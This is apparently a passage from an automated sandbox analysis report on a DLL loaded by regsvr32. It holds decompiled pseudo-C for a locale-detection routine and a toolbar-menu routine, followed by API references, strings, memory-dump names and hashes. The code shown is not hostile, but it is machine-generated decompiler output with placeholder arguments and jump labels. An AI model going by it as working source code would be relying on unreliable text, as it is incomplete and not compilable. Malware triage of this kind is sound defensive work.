							_t118 = RegQueryValueExA(??, ??, ??, ??, ??, ??);
							__eflags = _t118;
							if(_t118 == 0) {
								__eflags = _v732 - 1;
								if(_v732 == 1) {
									_t120 = E10033740( &_v632, _t189,  &_v632, "%x", _t223, _t225,  &_v736,  &_v732);
									__eflags = _t120 - 1;
									if(_t120 == 1) {
										_t121 = _v736;
										_v760 = _t121;
										_t150 = _t121 & 0x0000ffff;
										_t140 = _t150 & 0x3ff;
										__eflags = _t150 & 0xfc00 | _t140;
										_v720 = ConvertDefaultLocale(??);
										_t143 = _t140;
										_v716 = ConvertDefaultLocale(??);
										_t135 = 2;
									}
								}
							}
							RegCloseKey();
						}
					}
				} else {
					_t126 =  *_t180();
					_v760 = _t126;
					_v720 = ConvertDefaultLocale(??);
					_t143 = _t126 & 0x3ff;
					_v716 = ConvertDefaultLocale(??);
					_t135 = 2;
					GetProcAddress(??, ??);
					if(_t180 != 0) {
						_t130 =  *_t180();
						_v760 = _t130;
						_v712 = ConvertDefaultLocale(??);
						_t143 = _t130 & 0x3ff;
						_v708 = ConvertDefaultLocale(??);
						_t135 = 4;
					}
				}
				 *((intOrPtr*)(_t227 + 0x58 + _t135 * 4)) = 0x800;
				_t136 = _t135 + 1;
				_v355 = 0;
				_v356 = 0;
				r8d = 0x105;
				if(GetModuleFileNameA(??, ??, ??) != 0) {
					E1002E410(_t85, _t143, 0,  &_v688,  &_v616, _t222);
					_v688 = 0x38;
					_v680 =  &_v616;
					_v656 = 0x3e8;
					_v640 = 0x10000000;
					_v684 = 0x88;
					_t50 = _t222 - 0x39; // -1
					E1001BA40( &_v616,  &_v752, _t50);
					_t216 =  *0x100b7258; // 0x0
					__eflags = _t216;
					if(_t216 == 0) {
						_t183 = _v752;
						L20:
						_t230 =  *0x100b7268; // 0x0
						__eflags = _t230;
						if(_t230 != 0) {
							__eflags = _t183 - 0xffffffff;
							if(_t183 != 0xffffffff) {
								__eflags = _v744;
								if(_v744 == 0) {
									_t216 =  &_v744;
									 *_t230();
									_t183 = _v752;
								}
							}
						}
						L24:
						_t226 = _t136;
						__eflags = _t136;
						if(_t136 <= 0) {
							L62:
							_t231 =  *0x100b7260; // 0x0
							__eflags = _t231;
							if(_t231 != 0) {
								__eflags = _t183 - 0xffffffff;
								if(_t183 != 0xffffffff) {
									_t236 =  *0x100b7270; // 0x0
									__eflags = _t236;
									if(_t236 != 0) {
										__eflags = _v744;
										if(_v744 != 0) {
											_v744 = 0;
											_t143 = 0;
											__eflags = 0;
											 *_t236();
											_t231 =  *0x100b7260; // 0x0
											_t183 = _v752;
										}
									}
									 *_t231();
								}
							}
							__eflags = 0;
							L69:
							return E1002FF40(_t143, _v56 ^ _t227);
						} else {
							goto L25;
						}
						while(1) {
							L25:
							_t143 =  *(_t227 + 0x58 + _t222 * 4);
							__eflags =  *(_t227 + 0x58 + _t222 * 4) - 0x800;
							if( *(_t227 + 0x58 + _t222 * 4) != 0x800) {
								goto L32;
							}
							_t232 = 0x10099168;
							_t164 = 4;
							_t200 =  &_v756;
							_t93 = E10033690(_t183, _t189,  &_v756, _t216, _t222, 0x10000000, _t226, 0x10099168);
							__eflags = _t93;
							if(_t93 == 0) {
								L33:
								E10032420(_t183);
								_t174 =  *_t183;
								E10032420(_t183);
								 *_t183 = 0;
								_t183 =  &_v756;
								_v776 = _t183;
								_t235 = _t237;
								_t164 = 0x112;
								_t69 = _t216 - 1; // 0x111
								r8d = _t69;
								_t200 =  &_v344;
								_t137 = E10030760(_t237);
								E10032420(_t183);
								__eflags =  *_t183;
								if( *_t183 == 0) {
									E10032420(_t183);
									 *_t183 = _t174;
									L41:
									__eflags = _t137 - 0xffffffff;
									if(_t137 == 0xffffffff) {
										L44:
										__eflags = 0;
										L45:
										__eflags = _t189;
										if(_t189 != 0) {
											L54:
											_t184 =  *0x100b7260; // 0x0
											__eflags = _t184;
											if(_t184 != 0) {
												__eflags = _v752 - 0xffffffff;
												if(_v752 != 0xffffffff) {
													_t233 =  *0x100b7270; // 0x0
													__eflags = _t233;
													if(_t233 != 0) {
														__eflags = _v744;
														if(_v744 != 0) {
															_v744 = 0;
															_t143 = 0;
															__eflags = 0;
															 *_t233();
															_t184 =  *0x100b7260; // 0x0
														}
													}
													 *_t184();
												}
											}
											goto L69;
										}
										L46:
										_t222 = _t222 + 1;
										__eflags = _t222 - _t226;
										if(_t222 >= _t226) {
											_t183 = _v752;
											goto L62;
										}
										continue;
									}
									__eflags = _t137 - 0x112;
									if(_t137 >= 0x112) {
										goto L44;
									}
									LoadLibraryA();
									_t189 = _t183;
									goto L45;
								}
								E10032420(_t183);
								__eflags =  *_t183;
								if( *_t183 == 0) {
									goto L41;
								}
								__eflags =  *_t183 - 0xc;
								if( *_t183 == 0xc) {
									L53:
									_t143 = 0x8007000e;
									E10001000(0x8007000e, _t164, _t183, _t189, _t200, _t222, _t232, _t235);
									goto L54;
								}
								__eflags =  *_t183 - 0x16;
								if( *_t183 == 0x16) {
									L52:
									E10001000(0x80070057, _t164, _t183, _t189, _t200, _t222, _t232, _t235);
									asm("int3");
									goto L53;
								}
								__eflags =  *_t183 - 0x22;
								if( *_t183 == 0x22) {
									goto L52;
								}
								__eflags =  *_t183 - 0x50;
								if( *_t183 != 0x50) {
									L51:
									E10001000(0x80004005, _t164, _t183, _t189, _t200, _t222, _t232, _t235);
									asm("int3");
									goto L52;
								}
								goto L41;
							}
							__eflags = _t93 - 0xc;
							if(__eflags == 0) {
								L50:
								E1000E35C(_t143, _t164, __eflags, _t235);
								asm("int3");
								goto L51;
							}
							__eflags = _t93 - 0x16;
							if(_t93 == 0x16) {
								L49:
								E1000E3A4();
								asm("int3");
								goto L50;
							}
							__eflags = _t93 - 0x22;
							if(_t93 == 0x22) {
								goto L49;
							}
							__eflags = _t93 - 0x50;
							if(_t93 != 0x50) {
								E1000E3A4();
								asm("int3");
								goto L49;
							}
							goto L33;
							L32:
							r9d = 4;
							_t232 =  &_v756;
							_t92 = GetLocaleInfoA(??, ??, ??, ??);
							__eflags = _t92;
							if(_t92 == 0) {
								goto L46;
							}
							goto L33;
						}
					}
					_t183 = _v752;
					__eflags = _t183 - 0xffffffff;
					if(_t183 != 0xffffffff) {
						goto L24;
					}
					 *_t216();
					_v752 = _t183;
					__eflags = _t183 - 0xffffffff;
					_t143 = _t143 & 0xffffff00 | _t183 != 0xffffffff;
					__eflags = _t143;
					if(_t143 == 0) {
						goto L24;
					}
					goto L20;
				}
				goto L69;
			}

0x1001c3cc
0x1001c3d3
0x1001c3da
0x1001c3e3
0x1001c3ea
0x1001c3ed
0x1001c3f5
0x1001c3f8
0x1001c3ff
0x1001c408
0x1001c40e
0x1001c411
0x1001c41b
0x1001c424
0x1001c4b9
0x1001c4bf
0x1001c4c3
0x1001c5ab
0x1001c5b1
0x1001c5b4
0x1001c5b6
0x1001c5c0
0x1001c5c5
0x1001c5d1
0x1001c5d1
0x1001c5d8
0x1001c5de
0x1001c5e4
0x1001c5e8
0x1001c5ea
0x1001c5f7
0x1001c602
0x1001c60a
0x1001c60e
0x1001c616
0x1001c61a
0x1001c61a
0x1001c5e8
0x1001c4c9
0x1001c4c9
0x1001c4d3
0x1001c4d8
0x1001c4de
0x1001c4ef
0x1001c4f5
0x1001c4f7
0x1001c4fd
0x1001c50a
0x1001c517
0x1001c51c
0x1001c521
0x1001c52b
0x1001c531
0x1001c533
0x1001c535
0x1001c53a
0x1001c550
0x1001c555
0x1001c558
0x1001c55a
0x1001c55e
0x1001c563
0x1001c56f
0x1001c57a
0x1001c582
0x1001c586
0x1001c58e
0x1001c592
0x1001c592
0x1001c558
0x1001c53a
0x1001c59c
0x1001c59c
0x1001c4f7
0x1001c42a
0x1001c42a
0x1001c42c
0x1001c450
0x1001c454
0x1001c45c
0x1001c460
0x1001c46f
0x1001c478
0x1001c47e
0x1001c480
0x1001c49f
0x1001c4a3
0x1001c4ab
0x1001c4af
0x1001c4af
0x1001c478
0x1001c622
0x1001c62a
0x1001c62d
0x1001c635
0x1001c63d
0x1001c65d
0x1001c675
0x1001c67a
0x1001c686
0x1001c68e
0x1001c69a
0x1001c6a2
0x1001c6aa
0x1001c6b3
0x1001c6b9
0x1001c6c0
0x1001c6c3
0x1001c6e9
0x1001c6ee
0x1001c6ee
0x1001c6f5
0x1001c6f8
0x1001c6fa
0x1001c6fe
0x1001c700
0x1001c706
0x1001c708
0x1001c710
0x1001c713
0x1001c713
0x1001c706
0x1001c6fe
0x1001c718
0x1001c71a
0x1001c71d
0x1001c71f
0x1001c8b5
0x1001c8b5
0x1001c8bc
0x1001c8bf
0x1001c8c1
0x1001c8c5
0x1001c8c7
0x1001c8ce
0x1001c8d1
0x1001c8d8
0x1001c8db
0x1001c8dd
0x1001c8e6
0x1001c8e6
0x1001c8e8
0x1001c8eb
0x1001c8f2
0x1001c8f2
0x1001c8db
0x1001c8fa
0x1001c8fa
0x1001c8c5
0x1001c8fd
0x1001c8ff
0x1001c91c
0x00000000
0x00000000
0x00000000
0x1001c725
0x1001c725
0x1001c725
0x1001c729
0x1001c72f
0x00000000
0x00000000
0x1001c731
0x1001c738
0x1001c73d
0x1001c742
0x1001c747
0x1001c749
0x1001c78e
0x1001c78e
0x1001c793
0x1001c795
0x1001c79a
0x1001c7a0
0x1001c7a5
0x1001c7aa
0x1001c7ad
0x1001c7b2
0x1001c7b2
0x1001c7b6
0x1001c7c3
0x1001c7c5
0x1001c7ca
0x1001c7cd
0x1001c7ef
0x1001c7f4
0x1001c7f6
0x1001c7f6
0x1001c7f9
0x1001c816
0x1001c816
0x1001c818
0x1001c818
0x1001c81b
0x1001c862
0x1001c862
0x1001c869
0x1001c86c
0x1001c873
0x1001c877
0x1001c879
0x1001c880
0x1001c883
0x1001c88a
0x1001c88d
0x1001c88f
0x1001c898
0x1001c898
0x1001c89a
0x1001c89d
0x1001c8a4
0x1001c88d
0x1001c8a9
0x1001c8a9
0x1001c877
0x00000000
0x1001c8ab
0x1001c81d
0x1001c81d
0x1001c821
0x1001c824
0x1001c8b0
0x00000000
0x1001c8b0
0x00000000
0x1001c82a
0x1001c7fb
0x1001c801
0x00000000
0x00000000
0x1001c80b
0x1001c811
0x00000000
0x1001c811
0x1001c7cf
0x1001c7d4
0x1001c7d7
0x00000000
0x00000000
0x1001c7d9
0x1001c7dc
0x1001c857
0x1001c857
0x1001c85c
0x00000000
0x1001c85c
0x1001c7de
0x1001c7e1
0x1001c84c
0x1001c851
0x1001c856
0x00000000
0x1001c856
0x1001c7e3
0x1001c7e6
0x00000000
0x00000000
0x1001c7e8
0x1001c7eb
0x1001c841
0x1001c846
0x1001c84b
0x00000000
0x1001c84b
0x00000000
0x1001c7ed
0x1001c74b
0x1001c74e
0x1001c83b
0x1001c83b
0x1001c840
0x00000000
0x1001c840
0x1001c754
0x1001c757
0x1001c835
0x1001c835
0x1001c83a
0x00000000
0x1001c83a
0x1001c75d
0x1001c760
0x00000000
0x00000000
0x1001c766
0x1001c769
0x1001c82f
0x1001c834
0x00000000
0x1001c834
0x00000000
0x1001c771
0x1001c771
0x1001c777
0x1001c780
0x1001c786
0x1001c788
0x00000000
0x00000000
0x00000000
0x1001c788
0x1001c725
0x1001c6c5
0x1001c6ca
0x1001c6ce
0x00000000
0x00000000
0x1001c6d5
0x1001c6d7
0x1001c6dc
0x1001c6e0
0x1001c6e3
0x1001c6e5
0x00000000
0x00000000
0x00000000
0x1001c6e7
0x00000000

APIs

GetModuleHandleA.KERNEL32 ref: 1001C408
GetProcAddress.KERNEL32 ref: 1001C41B
ConvertDefaultLocale.KERNEL32 ref: 1001C44A
ConvertDefaultLocale.KERNEL32 ref: 1001C456
GetProcAddress.KERNEL32 ref: 1001C46F
ConvertDefaultLocale.KERNEL32 ref: 1001C499
ConvertDefaultLocale.KERNEL32 ref: 1001C4A5
GetVersion.KERNEL32 ref: 1001C4B9
RegOpenKeyExA.ADVAPI32 ref: 1001C4EF
RegQueryValueExA.ADVAPI32 ref: 1001C52B
ConvertDefaultLocale.KERNEL32 ref: 1001C57C
ConvertDefaultLocale.KERNEL32 ref: 1001C588
RegCloseKey.ADVAPI32 ref: 1001C59C
GetModuleFileNameA.KERNEL32 ref: 1001C655
GetLocaleInfoA.KERNEL32 ref: 1001C780
LoadLibraryA.KERNEL32 ref: 1001C80B

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 1001C4E1
ntdll.dll, xrefs: 1001C5A4
kernel32.dll, xrefs: 1001C401
LOC, xrefs: 1001C731
GetSystemDefaultUILanguage, xrefs: 1001C465
GetUserDefaultUILanguage, xrefs: 1001C411

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Locale$ConvertDefault$AddressModuleProc$CloseFileHandleInfoLibraryLoadNameOpenQueryValueVersion
String ID: Control Panel\Desktop\ResourceLocale$GetSystemDefaultUILanguage$GetUserDefaultUILanguage$LOC$kernel32.dll$ntdll.dll
API String ID: 4145269430-2374759049
Opcode ID: a1ce3c064cee28656632f99c091a7935c18b71a08e07b80fd6e22998a8cdae51
Instruction ID: 0d657045d2631dd37c882de883c1e36d44f8ff20de1b1f1a64dd34a3ca439a6c
Opcode Fuzzy Hash: a1ce3c064cee28656632f99c091a7935c18b71a08e07b80fd6e22998a8cdae51
Instruction Fuzzy Hash: C7D1D735614B8486EB55CF25F88079E73A1FB887A4F505226EA9E477E4DFBCC884CB00

Uniqueness

Uniqueness Score: -1.00%

Function 10021CD0 Relevance: 39.1, APIs: 18, Strings: 4, Instructions: 592
windowstringCOMMONCrypto

Download Yara Rule

C-Code - Quality: 67%

			E10021CD0(void* __ebx, signed int __edx, void* __esi, void* __ebp, intOrPtr* __rax, long long __rcx, intOrPtr* __r8, long long __r9, void* __r11, void* _a8, signed int _a16, signed int _a24, void* _a32) {
				unsigned long long _v112;
				intOrPtr _v148;
				intOrPtr _v152;
				void* _v176;
				char _v200;
				void* _v216;
				long long _v240;
				long long _v248;
				signed int _v280;
				intOrPtr _v288;
				intOrPtr _v292;
				char _v296;
				long long _v304;
				void* _v336;
				char _v344;
				char _v360;
				intOrPtr _v384;
				char _v392;
				intOrPtr _v396;
				signed int _v408;
				long long _v416;
				intOrPtr _v424;
				char _v432;
				signed long long _v440;
				char _v456;
				void* _v464;
				char _v472;
				long long _v480;
				signed long long _v484;
				unsigned int _v488;
				long long _v496;
				signed int _v500;
				unsigned int _v504;
				signed int _v508;
				intOrPtr _v512;
				signed int _v516;
				signed int _v520;
				intOrPtr _v544;
				long long _v552;
				char _v560;
				signed int _v568;
				signed int _v576;
				char _v584;
				void* _v592;
				signed int _v596;
				signed int _v600;
				unsigned long long _v608;
				signed int _v616;
				signed int _v632;
				signed int _v640;
				signed long long _v648;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t225;
				int _t232;
				signed int _t233;
				signed int _t234;
				void* _t245;
				int _t256;
				signed int _t257;
				signed int _t276;
				signed int _t278;
				void* _t339;
				signed int _t340;
				signed int _t342;
				signed int _t344;
				signed int _t352;
				signed int _t368;
				intOrPtr _t382;
				signed int _t385;
				void* _t386;
				signed int _t387;
				void* _t388;
				signed int _t390;
				void* _t391;
				intOrPtr* _t404;
				intOrPtr* _t405;
				intOrPtr* _t407;
				intOrPtr _t408;
				signed int _t410;
				intOrPtr _t423;
				void* _t424;
				signed long long _t426;
				intOrPtr* _t432;
				intOrPtr* _t441;
				intOrPtr* _t484;
				signed int _t495;
				signed int _t501;
				unsigned long long _t510;
				intOrPtr* _t512;
				unsigned long long _t515;
				intOrPtr* _t518;
				intOrPtr* _t520;
				char* _t523;
				intOrPtr* _t529;
				intOrPtr* _t531;
				intOrPtr* _t533;
				intOrPtr* _t543;
				void* _t544;
				long long _t545;
				intOrPtr* _t546;
				intOrPtr* _t547;
				signed long long _t548;
				signed long long _t550;
				char* _t559;
				char* _t569;
				void* _t575;
				intOrPtr* _t576;
				intOrPtr* _t577;
				void* _t579;

				_t575 = __r11;
				_t566 = __r9;
				_t557 = __r8;
				_t404 = __rax;
				_t391 = __ebp;
				_t388 = __esi;
				_t365 = __edx;
				_t339 = __ebx;
				_a32 = __r9;
				_a24 = __r8;
				_a16 = __edx;
				_a8 = __rcx;
				_v304 = 0xfffffffe;
				_t546 = __r8;
				E10029288(_t225);
				_t432 = _t404;
				r10d = 0;
				r10b = _t404 != 0;
				if(r10d == 0) {
					E10001000(0x80004005, __edx, _t404, _t424, _t432, _t544, __r8, __r9);
					asm("int3");
				}
				_t405 =  *_t404;
				 *((intOrPtr*)(_t405 + 0x18))();
				_t7 = _t405 + 0x18; // 0x18
				_t425 = _t7;
				_v608 = _t425;
				lstrlenA(??);
				_t9 = _t405 + 1; // 0x1
				_t385 = _t9;
				_t344 = 1 -  *((intOrPtr*)(_t425 - 8));
				if(( *((intOrPtr*)(_t425 - 0xc)) - _t385 | 0x00000001) < 0) {
					_t365 = _t385;
					E1000E8B4(_t385, _t425,  &_v608, _t557, _t566);
					_t425 = _v608;
				}
				r8d = _t385;
				_t510 = _t425;
				_t434 =  *_t546;
				_t232 = GetClassNameA(??, ??, ??);
				if(_t425 != 0) {
					_t434 = _t425;
					_t233 = E10031330(_t232, _t425);
					__eflags = _t233;
					if(_t233 < 0) {
						goto L88;
					} else {
						goto L7;
					}
				} else {
					_t233 = 0;
					L7:
					if(_t233 >  *((intOrPtr*)(_t425 - 0xc))) {
						L88:
						_t234 = E10001000(0x80070057, _t365, _t405, _t425, _t434, _t544, _t557, _t566);
					} else {
						 *(_t425 - 0x10) = _t233;
						 *((char*)(_t405 + _t425)) = 0;
						E1001439C(_t339, _t344, _t388, _t405,  *_t546, _t510, _t575);
						_t547 = _t405;
						if((_t344 & 0xffffff00 | E100326F0(_t405, _t425, _t425, "ReBarWindow32", _t544, _t547, _t557, _t579) == 0x00000000) == 0 || _t547 == 0 || E100263F8(_t425, _t547, 0x1009b538) == 0) {
							L85:
							_t223 = _t425 - 0x18; // 0x0
							_t512 = _t223;
							asm("lock xadd [edx+0x10], eax");
							__eflags = _t391 + _t391;
							if(_t391 + _t391 <= 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t512)) + 8))();
							}
							_t234 = 0;
						} else {
							E100151DC(_t405, _t547, 0x1009b538);
							if(_t405 == 0 || _a8 == _t405) {
								E10029288(E1002A1B4(_t339,  &_v472, _t566, _t575));
								_t576 = _t405;
								_t405 = _t405 == 0;
								if(_t405 == 0) {
									E10001000(0x80004005, _t365, _t405, _t425,  &_v472, _t544, _t557, _t566);
									asm("int3");
								}
								_t407 =  *_t405;
								_t441 = _t576;
								_t245 =  *((intOrPtr*)(_t407 + 0x18))();
								_t29 = _t407 + 0x18; // 0x18
								_t545 = _t29;
								_v584 = _t545;
								E10029288(_t245);
								_t577 = _t407;
								_t407 = _t407 == 0;
								if(_t407 == 0) {
									E10001000(0x80004005, _t365, _t407, _t425, _t441, _t545, _t557, _t566);
									asm("int3");
								}
								_t408 =  *_t407;
								 *((intOrPtr*)(_t408 + 0x18))();
								_v592 = _t408 + 0x18;
								E1000F088( &_v392);
								E1000F6E8(_t339,  &_v344, _a8, _t557, _t577);
								_v488 = 0;
								_v484 = 0;
								_v152 = 0x70;
								_v148 = 0x10;
								r8d =  *(_a24 + 0x18);
								SendMessageA(??, ??, ??, ??);
								_t410 = _a24;
								r8d =  *(_t410 + 0x18);
								_t568 =  &_v432;
								SendMessageA(??, ??, ??, ??);
								lstrlenA(??);
								_t50 = _t410 + 1; // 0x1
								_t368 = _t50;
								_v616 = _t368;
								_t352 = 1 -  *((intOrPtr*)(_t425 - 8));
								__eflags =  *((intOrPtr*)(_t425 - 0xc)) - _t368 | 0x00000001;
								if(( *((intOrPtr*)(_t425 - 0xc)) - _t368 | 0x00000001) < 0) {
									E1000E8B4(_t368, _t425,  &_v608, _t557,  &_v432);
									_t425 = _v608;
									_t368 = _v616;
								}
								r8d = _t368;
								_t515 = _t425;
								_t449 = _v112;
								_t256 = GetClassNameA(??, ??, ??);
								__eflags = _t425;
								if(_t425 != 0) {
									_t449 = _t425;
									_t257 = E10031330(_t256, _t425);
									__eflags = _t257;
									if(_t257 < 0) {
										goto L84;
									} else {
										goto L25;
									}
								} else {
									_t257 = 0;
									L25:
									__eflags = _t257 -  *((intOrPtr*)(_t425 - 0xc));
									if(_t257 >  *((intOrPtr*)(_t425 - 0xc))) {
										L84:
										E10001000(0x80070057, _t368, _t410, _t425, _t449, _t545, _t557, _t568);
										goto L85;
									} else {
										 *(_t425 - 0x10) = _t257;
										 *((char*)(_t410 + _t425)) = 0;
										E1001439C(_t339, _t352, _t388, _t410, _v112, _t515, _t577);
										_v576 = _t410;
										_t516 = "ToolbarWindow32";
										__eflags = E100326F0(_t410, _t425, _t425, "ToolbarWindow32", _t545, _t547, _t557, _t579);
										_t354 = _t352 & 0xffffff00 | __eflags == 0x00000000;
										__eflags = _t352 & 0xffffff00 | __eflags == 0x00000000;
										if(__eflags == 0) {
											L79:
											E1000F770(__eflags, _t425,  &_v344, _t516);
											E1000F6C0( &_v392);
											_t518 = _v592 + 0xffffffe8;
											asm("lock xadd [edx+0x10], eax");
											__eflags = _t391 + _t391;
											if(_t391 + _t391 <= 0) {
												 *((intOrPtr*)( *((intOrPtr*)( *_t518)) + 8))();
											}
											_t520 = _v584 + 0xffffffe8;
											asm("lock xadd [edx+0x10], eax");
											__eflags = _t391 + _t391;
											if(_t391 + _t391 <= 0) {
												 *((intOrPtr*)( *((intOrPtr*)( *_t520)) + 8))();
											}
											_v456 = 0x10057ca8;
											E1000FAF0(0x10057ca8,  &_v456);
											_v472 = 0x10099550;
											E1002A190(0x10099550,  &_v472);
											_t425 = _v608;
											goto L85;
										} else {
											_t425 = _v576;
											__eflags = _v576;
											if(__eflags == 0) {
												goto L79;
											} else {
												_t516 = 0x1009b500;
												__eflags = E100263F8(_t425, _t425, 0x1009b500);
												if(__eflags == 0) {
													goto L79;
												} else {
													_t416 = _a24 + 0x28;
													_v416 = _t416;
													_v424 =  *_t416;
													E1000F418(__eflags, _t547,  &_v432);
													E1000F3D0(__eflags, _t425,  &_v432);
													r9d = 0;
													r8d = 0;
													__eflags = r8d;
													_t276 = SendMessageA(??, ??, ??, ??);
													_v480 = _t416;
													_t340 = _t276;
													_t548 = _v576;
													while(1) {
														_t340 = _t340 + 0xffffffff;
														_t569 =  &_v360;
														SendMessageA(??, ??, ??, ??);
														_t559 =  &_v360;
														_t523 =  &_v432;
														_t278 = IntersectRect(??, ??, ??);
														__eflags = _t278;
														if(_t278 != 0) {
															break;
														}
														__eflags = _t340;
														if(_t340 != 0) {
															continue;
														}
														break;
													}
													_v616 = _t340;
													_t80 = _t523 + 0x50; // 0x50
													r8d = _t80;
													E1002E410(_t278, _t354, 0,  &_v296, _t523, _t559);
													_v296 = 0x50;
													r9d = 0;
													r8d = 0;
													SendMessageA(??, ??, ??, ??);
													E1002BD24(_t340, 0x431, _t416, _t416, _t523, _t559, _t569, _t577);
													_v496 = _t416;
													E1002B6D4( &_v560);
													_v560 = 0x10099530;
													_t560 = 0xffffffff;
													E1002B708(_t354, _t391 - _t340, _t416,  &_v560, _t523, 0xffffffff);
													CreatePopupMenu();
													E1002A114(_t340, _t416,  &_v472, _t416, 0x10099530);
													CreateCompatibleDC(??);
													E1000F628(_t340, _t416,  &_v392, _t416, 0xffffffff, 0x10099530);
													_a24 = 0;
													_v440 = _t548;
													__eflags = _t340 - _v480;
													if(__eflags < 0) {
														while(1) {
															_t416 =  &_v600;
															_v648 = _t416;
															_t570 =  &_v568;
															_t560 =  &_v596;
															E1002BD7C(_t340, _v576,  &_v596,  &_v568);
															__eflags = _v568 & 0x00000001;
															if((_v568 & 0x00000001) != 0) {
																goto L53;
															}
															_v292 = 0x162;
															_t342 = _v596;
															E100285E8(_t416);
															__eflags = _t416;
															if(_t416 != 0) {
																r8d = _t342;
																E1000E8FC(0, _t416,  &_v584, _t416,  &_v568, 0x10099530);
																_t545 = _v584;
															}
															r9b = 0xa;
															r8d = 1;
															_t534 = _t545;
															E100285FC(0, _t416, _t425,  &_v592, _t545, _t545, _t548, _t560, _t570, _t579);
															E1000E220(_t416,  &_v592);
															__eflags = _t416;
															if(_t416 == 0) {
																__eflags = 0;
															} else {
																 *((long long*)(_t416 + 8)) = 0;
																 *_t416 = 0x10057ce8;
															}
															E1002B894(_a24, _t416,  &_v560, _t534, _t416);
															E1001A994(_t342, _a24, 0, _t416, _t416, _t570, 0x10099530);
															_t572 =  &_v200;
															r8d = _v600;
															E10020ADC(_t342, 0x10, _a24, 0, _t416,  *((intOrPtr*)( *((intOrPtr*)(_t416 + 0xc8)))),  *((intOrPtr*)(_v496 + 8)), _t416,  &_v200, 0x10099530);
															CopyRect(??, ??);
															r11d = _v516;
															r11d =  ~r11d;
															_v504 =  ~_v520;
															_v500 = r11d;
															_t560 = _v504 >> 0x20;
															OffsetRect(??, ??, ??);
															__eflags = _t548;
															if(_t548 < 0) {
																L63:
																E1000E3A4();
																asm("int3");
															} else {
																__eflags = _t548 - _v544;
																if(_t548 >= _v544) {
																	goto L63;
																} else {
																	_t416 = _v552;
																	r8d = _v508;
																	_t382 = _v512;
																	CreateCompatibleBitmap(??, ??, ??);
																	E1000FA74(_t342, _v552,  *((intOrPtr*)(_v552 + _t548 * 8)), _v552, 0x10099530);
																	__eflags = _t548 - _v544;
																	if(_t548 >= _v544) {
																		L62:
																		E1000E3A4();
																		asm("int3");
																		goto L63;
																	} else {
																		_t416 = _v552;
																		_t495 =  *((intOrPtr*)(_t416 + _t548 * 8));
																		__eflags = _t495;
																		if(_t495 == 0) {
																			_t382 = 0;
																		}
																		E1000FB3C(_t416);
																		__eflags = _t548 - _v544;
																		if(_t548 >= _v544) {
																			L61:
																			E1000E3A4();
																			asm("int3");
																			goto L62;
																		} else {
																			 *((long long*)(_v552 + _t548 * 8)) = _t416;
																			r8d = GetSysColor(??);
																			E10018920( &_v392,  &_v520);
																			_t416 = _v496;
																			_t425 = _v488 >> 0x20;
																			E1001A994(_t342, _t382, 0, _v496, _t560, _t572, 0x10099530);
																			_v632 = 1;
																			_v640 = _t342;
																			_v648 = 0;
																			r8d = _v600;
																			E10020930(_t342, 4, _t382, 0, _v496,  *((intOrPtr*)( *((intOrPtr*)(_v496 + 0xc8)))),  *((intOrPtr*)(_v496 + 8)), _t560, _v384, 0x10099530);
																			_t550 = _v440;
																			__eflags = _t550 - _v544;
																			if(_t550 >= _v544) {
																				L60:
																				E1000E3A4();
																				asm("int3");
																				goto L61;
																			} else {
																				_t416 = _v552;
																				_t501 =  *((intOrPtr*)(_t416 + _t550 * 8));
																				__eflags = _t501;
																				if(_t501 != 0) {
																				}
																				E1000FB3C(_t416);
																				__eflags = _t550 - _v544;
																				if(_t550 >= _v544) {
																					L59:
																					E1000E3A4();
																					asm("int3");
																					goto L60;
																				} else {
																					 *((long long*)(_v552 + _t550 * 8)) = _t416;
																					_t416 = _v592;
																					_v240 = _v592;
																					_v280 = _v596;
																					_v288 = 0x100;
																					__eflags = _t550 - _v544;
																					if(_t550 >= _v544) {
																						E1000E3A4();
																						asm("int3");
																						goto L59;
																					} else {
																						_t423 = _v552;
																						_t416 =  *((intOrPtr*)(_t423 + _t550 * 8));
																						_v248 =  *((intOrPtr*)(_t423 + _t550 * 8));
																						_a24 = _a24 + 1;
																						_t548 = _t550 + 1;
																						_v440 = _t548;
																						_t340 = _v616;
																						L55:
																						r8d = 1;
																						InsertMenuItemA(??, ??, ??, ??);
																						L56:
																						_t340 = _t340 + 1;
																						_v616 = _t340;
																						__eflags = _t340 - _v480;
																						if(__eflags < 0) {
																							continue;
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
															goto L64;
															L53:
															__eflags = _a24;
															if(_a24 != 0) {
																_v292 = 0x100;
																_v288 = 0x800;
																goto L55;
															}
															goto L56;
														}
													}
													L64:
													CopyRect();
													_t527 =  &_v408;
													_t426 = _a8;
													E1000F418(__eflags, _t426,  &_v408);
													_v640 = 0;
													_v648 = _t426;
													r9d = _v396;
													r8d = _v408;
													E1001277C(0, _t416,  &_v472, _t560);
													 *_a32 = 0;
													_t386 = 0;
													_t390 = _a24;
													__eflags = _t390;
													if(_t390 != 0) {
														while(1) {
															__eflags = _t426;
															if(_t426 < 0) {
																break;
															}
															__eflags = _t426 - _v544;
															if(_t426 >= _v544) {
																break;
															} else {
																_t484 =  *((intOrPtr*)(_v552 + _t426 * 8));
																__eflags = _t484;
																if(_t484 != 0) {
																	 *((intOrPtr*)( *_t484 + 8))();
																}
																_t386 = _t386 + 1;
																_t426 = _t426 + 1;
																__eflags = _t386 - _t390;
																if(_t386 < _t390) {
																	continue;
																} else {
																}
															}
															goto L72;
														}
														E1000E3A4();
													}
													L72:
													E1002B6F4( &_v560);
													E1000F770(__eflags, _t426,  &_v344, _t527);
													E1000F6C0( &_v392);
													_t529 = _v592 + 0xffffffe8;
													asm("lock xadd [edx+0x10], eax");
													__eflags = _t391 + _t391;
													if(_t391 + _t391 <= 0) {
														 *((intOrPtr*)( *((intOrPtr*)( *_t529)) + 8))();
													}
